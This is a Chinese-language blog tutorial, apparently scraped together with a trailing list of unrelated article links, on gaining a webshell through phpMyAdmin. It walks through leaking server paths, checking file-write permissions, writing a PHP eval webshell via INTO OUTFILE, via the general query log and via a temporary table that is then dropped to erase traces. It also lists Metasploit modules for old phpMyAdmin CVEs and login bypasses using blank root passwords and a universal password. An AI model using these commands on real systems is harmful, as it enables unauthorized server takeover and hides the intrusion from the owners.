phpMydmin的GetShell思路
phpMyadmin简介
phpMyadmin是一个以PHP为基础的MySQL数据库管理工具,使网站管理员可通过Web接口管理数据库 。
信息收集
此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell
物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
select @@datadir;

配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
# Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
错误参数值爆路径:尝试将要提交的参数值改成错误值。
Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
Google爆路径
site:xxx.com warning
site:xxx.com “fatal error”
测试文件爆路径
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
其它
phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
其它信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息
select version(); -- 查看数据库版本
select @@datadir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量
GetShell
前提条件
网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
select @@secure_file_priv -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件
常规GetShell
直接通过SQL查询写入shell
-- 假设物理路径为 "G:\phpStudy\WWW"
select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';
日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
查询日志全局变量
show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file G:\phpStudy\MySQL\data\FengSec.log
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径
set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
写shell
select '<?php eval($_POST[pwd]); ?>';
新表GetShell
进入一个数据库,新建数据表。
名字随意,这里为shell_table
字段数填1

添加字段
字段名任意,这里为xiaoma
字段类型为TEXT

在该表中点击插入,值为一句话木马
<?php eval($_POST[pwd]); ?>'

执行SQL查询,将该表中的内容导出到指定文件
-- 假设物理路径为 "G:\phpStudy\WWW"
select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

删除该表,抹除痕迹
Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过MySQL语句执行
Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表
特殊版本GetShell
CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功
参考:
phpMydmin的GetShell思路的更多相关文章
- CVE-2018-12613 phpmyadmin文件包含getshell连载(三)
这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论 #001 影响版本 Phpmyadmin 4.8.0/4.8.0.1 ...
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- CTF RCE(远程代码执行)
目录 php代码执行 一.相关函数 1.代码注入 2.命令执行 二.命令执行的绕过 1.命令执行的分隔符 2.空格代替 3.绕过 4.命令执行的各种符号 三.命令无回显的情况 1.判断 2.利用 四. ...
- pwn第一周
源码 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void setbufs() { set ...
- DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞
DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...
- Discuz! X upgrade/converter GETSHELL Vulnerability Via /convert/include/global.func.php Inject Special Symbol Into /convert/data/config.inc.php
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对于PHP应用来说,处于用户的输入并正确划定"数据-代码"边界 ...
- Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上 ...
- ECSHOP Inject PHPCode Into \library\myship.php Via \admin\template.php && \includes\cls_template.php Vul Tag_PHP_Code Execute Getshell
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 PHP语言作为开源社区的一员,提供了各种模板引擎,如FastTemplate,Sm ...
- DEDECMS数据库执行原理、CMS代码层SQL注入防御思路
我们在上一篇文章中学习了DEDECMS的模板标签.模板解析原理,以及通过对模板核心类的Hook Patch来对模板的解析流量的攻击模式检测,达到修复模板类代码执行漏洞的目的 http://www.cn ...
随机推荐
- 【C++初学者自学笔记二】函数重载(模块一)
1.概念:同意作用域的一组参数列表不同,函数名相同的函数,这组函数叫函数重载(C语言是不能定义相同名称的函数,但是C++可以允许定义). 2作用:重载函数通常来命名一组功能相似的函数,这样做减少了函数 ...
- 02.当构造参数过多时使用builder模式
前言 <Effective Java>中文第三版,是一本关于Java基础的书,这本书不止一次有人推荐我看.其中包括我很喜欢的博客园博主五月的仓颉,他曾在自己的博文<给Java程序猿们 ...
- Mac OS删除文件夹和文件的命令
https://www.jianshu.com/p/0376bf0514e3 2017.08.18 17:27* 字数 219 阅读 16709评论 0喜欢 0 rmdir删除空目录,不过一旦目录非空 ...
- IDEA中使用Lombok插件简化实体类的编写
版本:IDEA Community 2019.2.2 流程:安装lombok插件并安装,重启=>在pom文件中加入 <dependency> <groupId>org.p ...
- Android开发之显示分辨率及单位
Android 各种屏幕分辨率: VGA: Video Graphics Array,即:显示绘图矩阵,相当于640×480 像素: HVGA: Half-size VGA ...
- 02-03Android学习进度报告三
今天主要学习了线性布局和相对布局的概念和区别,以及线性布局和相对布局的优缺点. 经过搜素发现,我们屏幕适配的使用用的比较多的就是LinearLayout的权重属性weight,我 学习了一些 Line ...
- SpringMvc 视图解析器常见功能、类型转换、格式化
springmvc.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns=" ...
- 【PAT甲级】1032 Sharing (25 分)
题意: 输入两个单词的起始地址和一个正整数N(<=1e5),然后输入N行数据,每行包括一个五位数的字母地址,字母和下一个字母的地址.输出这两个单词的公共后缀首字母的地址,若无公共后缀则输出-1. ...
- 代码审计变成CTF
0x01 代码审计中的信息收集 一个cms代码量确实不少,通读代码耗时长,效果也不一定好.而一个功能点如果之前出过漏洞,特别是多次出现漏洞的地方,证明开发者对这个漏洞的理解不充分,很容易再次绕过补丁. ...
- Day11-G - Calendar Game HDU - 1079
Adam and Eve enter this year’s ACM International Collegiate Programming Contest. Last night, they pl ...